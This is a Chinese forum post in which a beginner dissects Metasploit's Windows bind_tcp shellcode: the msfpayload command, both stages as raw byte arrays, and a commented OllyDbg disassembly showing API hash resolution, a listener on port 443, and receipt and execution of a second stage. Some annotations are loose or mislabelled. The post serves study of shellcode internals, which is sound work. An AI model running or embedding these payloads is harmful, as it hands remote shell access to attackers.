最近在学习Metasploit的时候发现一段 基于客服端攻击的shellcode攻击载荷代码, 我也是第一次接触shellcode,觉得有必要了解下原理, 就通过汇编工具 解析下该shellcode的过程和逻辑。我也是个新手,只能简单的分析下,有不对的地方,跪求勿喷。。。。。。
对了,我是在XP下调试了,win7不一定可行。
这段shellcode是由Metasploit产生的
产生命令: msf > msfpayload windows/shell/bind_tcp LPORT=443 C
unsigned char buf[] =
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67"
"\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68"
"\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5"
"\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
"\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5"
"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
/*
* windows/shell/bind_tcp - 240 bytes (stage 2)
* http://www.metasploit.com
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44"
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5"
"\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
这里产生了两段的shellcode 代码,我们可以理解为第一阶段和第二阶段。
在第一阶 段是创建了一个监听443 端口的tcp连接, Metasploit会自动发送第二阶段的shellcode代码给443端口。然后实现具体的攻击和控制电脑。 这里我也只对第一阶段的shellcode进行解析, 大伙有感兴趣的可以继续分析第二阶段的代码。
Shellcode 1:
fce8860000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c8b4c1078e34a01d1518b592001d38b4918e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb895d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd59731db5368020001bb89e66a10565768c2db3767ffd5535768b7e938ffffd55353576874ec3be1ffd5579768756e4d61ffd56a006a0456576802d9c85fffd58b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd501c329c685f675ecc3
将第一阶段的shellcode去掉’\x’ 等符号后就是上面的代码了。
打开OD,随便打开一个可执行程序(我这里选择了IE浏览器), 选择EIP 及EIP以下的两百行代码,然后用二进制黏贴上面的shellcode。
OD 会自动将shellcode代码转化为汇编代码,下面就是转化为汇编的代码,同时我也添加了点注释.
00402456 FC CLD ;DF=0
00402457 E8 86000000 CALL iexplore.004024E2
0040245C 60 PUSHAD
0040245D 89E5 MOV EBP,ESP
0040245F 31D2 XOR EDX,EDX
00402461 64:8B52 30 MOV EDX,DWORD PTR FS:[EDX+30]
00402465 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00402468 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14]
0040246B 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28] ;;获取到库名称字符大小
0040246E 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26] ;获取到库名称字符大小
00402472 31FF XOR EDI,EDI
00402474 31C0 XOR EAX,EAX 从00402474 到 00402482 是一套算法,将库名称转化为DWORD的hash数据值
00402476 AC LODS BYTE PTR DS:[ESI]
00402477 3C 61 CMP AL,61
00402479 7C 02 JL SHORT iexplore.0040247D
0040247B 2C 20 SUB AL,20
0040247D C1CF 0D ROR EDI,0D
00402480 01C7 ADD EDI,EAX
00402482 ^E2 F0 LOOPD SHORT iexplore.00402474
00402484 52 PUSH EDX
00402485 57 PUSH EDI
00402486 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10]
00402489 8B42 3C MOV EAX,DWORD PTR DS:[EDX+3C] ; [GetCurrentProcessId
0040248C 8B4C10 78 MOV ECX,DWORD PTR DS:[EAX+EDX+78] ;获取输出表的偏移地址
00402490 E3 4A JECXZ SHORT iexplore.004024DC
00402492 01D1 ADD ECX,EDX ;加上模块的偏移地址后,得到具体的输出表地址
00402494 51 PUSH ECX
00402495 8B59 20 MOV EBX,DWORD PTR DS:[ECX+20]
00402498 01D3 ADD EBX,EDX
0040249A 8B49 18 MOV ECX,DWORD PTR DS:[ECX+18] ;获取导出函数名称 0040249D E3 3C JECXZ SHORT iexplore.004024DB ;遍历所有导出函数名称
0040249F 49 DEC ECX
004024A0 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4]
004024A3 01D6 ADD ESI,EDX
004024A5 31FF XOR EDI,EDI ; \QueryPerformanceCounter
004024A7 31C0 XOR EAX,EAX ;从004024A7 到 004024B1 是一套算法,将当前函数名称转化为DWORD的hash数据值
004024A9 AC LODS BYTE PTR DS:[ESI]
004024AA C1CF 0D ROR EDI,0D
004024AD 01C7 ADD EDI,EAX
004024AF 38E0 CMP AL,AH
004024B1 ^75 F4 JNZ SHORT iexplore.004024A7
004024B3 037D F8 ADD EDI,DWORD PTR SS:[EBP-8]
004024B6 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24] ;将函数的hash数据值,与想要的获取的函数hash值对比.
004024B9 ^75 E2 JNZ SHORT iexplore.0040249D ;如果获取到想要的函数 就继续执行,否则遍历下一个导出函数 004024BB 58 POP EAX
004024BC 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24]
004024BF 01D3 ADD EBX,EDX
004024C1 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2]
004024C5 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C]
004024C8 01D3 ADD EBX,EDX
004024CA 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4]
004024CD 01D0 ADD EAX,EDX
004024CF 894424 24 MOV DWORD PTR SS:[ESP+24],EAX
004024D3 5B POP EBX
004024D4 5B POP EBX
004024D5 61 POPAD
004024D6 59 POP ECX
004024D7 5A POP EDX
004024D8 51 PUSH ECX 设置调用函数后还回的地址
004024D9 FFE0 JMP EAX 调用上面遍历获取并转化后的函数。 004024DB 58 POP EAX dll库遍历跳转等操作。
004024DC 5F POP EDI
004024DD 5A POP EDX
004024DE 8B12 MOV EDX,DWORD PTR DS:[EDX]
004024E0 ^EB 89 JMP SHORT iexplore.0040246B 004024E2 5D POP EBP
004024E3 68 33320000 PUSH 3233
004024E8 68 7773325F PUSH 5F327377 ;合成 ws2_32字符
004024ED 54 PUSH ESP
004024EE 68 4C772607 PUSH 726774C
004024F3 FFD5 CALL EBP
004024F5 B8 90010000 MOV EAX,190 ;获取到LoadLibraryA后调用到
004024FA 29C4 SUB ESP,EAX
004024FC 54 PUSH ESP
004024FD 50 PUSH EAX
004024FE 68 29806B00 PUSH 6B8029
00402503 FFD5 CALL EBP 00402505 50 PUSH EAX 调用WSAStart后返回址
00402506 50 PUSH EAX
00402507 50 PUSH EAX
00402508 50 PUSH EAX
00402509 40 INC EAX
0040250A 50 PUSH EAX
0040250B 40 INC EAX
0040250C 50 PUSH EAX
0040250D 68 EA0FDFE0 PUSH E0DF0FEA
00402512 FFD5 CALL EBP
00402514 97 XCHG EAX,EDI 调用socketA后返回址
00402515 31DB XOR EBX,EBX
00402517 53 PUSH EBX
00402518 68 020001BB PUSH BB010002
0040251D 89E6 MOV ESI,ESP
0040251F 6A 10 PUSH 10
00402521 56 PUSH ESI
00402522 57 PUSH EDI
00402523 68 C2DB3767 PUSH 6737DBC2
00402528 FFD5 CALL EBP
0040252A 53 PUSH EBX 调用bind后返回址
0040252B 57 PUSH EDI
0040252C 68 B7E938FF PUSH FF38E9B7
00402531 FFD5 CALL EBP
00402533 53 PUSH EBX 调用listen后返回址
00402534 53 PUSH EBX
00402535 57 PUSH EDI
00402536 68 74EC3BE1 PUSH E13BEC74
0040253B FFD5 CALL EBP
0040253D 57 PUSH EDI 调用accept后返回址
0040253E 97 XCHG EAX,EDI
0040253F 68 756E4D61 PUSH 614D6E75
00402544 FFD5 CALL EBP
00402546 6A 00 PUSH 0 调用connect后返回址
00402548 6A 04 PUSH 4
0040254A 56 PUSH ESI
0040254B 57 PUSH EDI
0040254C 68 02D9C85F PUSH 5FC8D902
00402551 FFD5 CALL EBP
00402553 8B36 MOV ESI,DWORD PTR DS:[ESI] 调用recv后返回址
00402555 6A 40 PUSH 40
00402557 68 00100000 PUSH 1000
0040255C 56 PUSH ESI
0040255D 6A 00 PUSH 0
0040255F 68 58A453E5 PUSH E553A458
00402564 FFD5 CALL EBP
00402566 93 XCHG EAX,EBX 调用virtualloc后返回址
00402567 53 PUSH EBX
00402568 6A 00 PUSH 0
0040256A 56 PUSH ESI
0040256B 53 PUSH EBX
0040256C 57 PUSH EDI
0040256D 68 02D9C85F PUSH 5FC8D902
00402572 FFD5 CALL EBP
00402574 01C3 ADD EBX,EAX
00402576 29C6 SUB ESI,EAX
00402578 85F6 TEST ESI,ESI
0040257A ^75 EC JNZ SHORT iexplore.00402568
0040257C C3 RETN
流程分析:
这段代码是先将需要的调用的函数,通过一套哈希算法将函数名转化为DWORD(方便比对)。
1.查找到kernel32.dll库中的LoadLibraryA函数,
2.调用LoadLibraryA(“ws2_32”)导入 套接字库
3.遍历所有库找到ws2_32中的WsAStringToAddressA后通过偏移地址转化为WSAstartup并调用。
4.继续遍历找到ws2_32中的WSASocketW后通过偏移地址转化为WSAsocketA并调用。
5.继续遍历找到ws2_32中的closeSocket后通过偏移地址转化为bind并调用。
6.继续遍历找到ws2_32中的ntohl后通过偏移地址转化为listen并调用。
7.等待Metasploit连接。(使用msf > use multi/handler, 模块进行与该shellcode对接)
8.继续遍历找到ws2_32中的connect后通过偏移地址转化为closesocket并调用。
9.继续遍历找到ws2_32中的recvfrom后通过偏移地址转化为recv并调用。
10.继续遍历找到VirtualAllocEx后通过偏移地址转化为virtualloc并调用,申请一块数据空间。
11.继续 recv获取到Metasploit发来的第二阶段的shellcode代码,并执行。
12.第一阶段 shellcode结束任务。 具体流程可以去跟踪下代码才能理解,我这里的解析只能帮助理解的作用。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课